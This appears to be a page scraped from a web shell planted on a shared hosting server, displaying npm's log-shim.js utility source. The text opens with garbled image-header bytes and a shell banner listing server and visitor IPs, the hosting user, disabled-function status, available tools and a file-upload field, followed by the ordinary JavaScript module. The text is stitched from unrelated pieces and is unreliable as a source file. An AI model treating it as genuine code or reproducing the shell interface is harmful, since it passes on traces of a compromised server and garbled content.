????JFIF??x?x????'
| Server IP : 172.67.174.47 / Your IP : 216.73.216.87 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/./thread-self/root/opt/alt/alt-nodejs19/root/usr/lib/node_modules/npm/lib/utils/ |
Upload File : |
const NPMLOG = require('npmlog')
const PROCLOG = require('proc-log')
// Sets getter and optionally a setter
// otherwise setting should throw
const accessors = (obj, set) => (k) => ({
get: () => obj[k],
set: set ? (v) => (obj[k] = v) : () => {
throw new Error(`Cant set ${k}`)
},
})
// Set the value to a bound function on the object
const value = (obj) => (k) => ({
value: (...args) => obj[k].apply(obj, args),
})
const properties = {
// npmlog getters/setters
level: accessors(NPMLOG, true),
heading: accessors(NPMLOG, true),
levels: accessors(NPMLOG),
gauge: accessors(NPMLOG),
stream: accessors(NPMLOG),
tracker: accessors(NPMLOG),
progressEnabled: accessors(NPMLOG),
// npmlog methods
useColor: value(NPMLOG),
enableColor: value(NPMLOG),
disableColor: value(NPMLOG),
enableUnicode: value(NPMLOG),
disableUnicode: value(NPMLOG),
enableProgress: value(NPMLOG),
disableProgress: value(NPMLOG),
clearProgress: value(NPMLOG),
showProgress: value(NPMLOG),
newItem: value(NPMLOG),
newGroup: value(NPMLOG),
// proclog methods
notice: value(PROCLOG),
error: value(PROCLOG),
warn: value(PROCLOG),
info: value(PROCLOG),
verbose: value(PROCLOG),
http: value(PROCLOG),
silly: value(PROCLOG),
pause: value(PROCLOG),
resume: value(PROCLOG),
}
const descriptors = Object.entries(properties).reduce((acc, [k, v]) => {
acc[k] = { enumerable: true, ...v(k) }
return acc
}, {})
// Create an object with the allowed properties rom npm log and all
// the logging methods from proc log
// XXX: this should go away and requires of this should be replaced with proc-log + new display
module.exports = Object.freeze(Object.defineProperties({}, descriptors))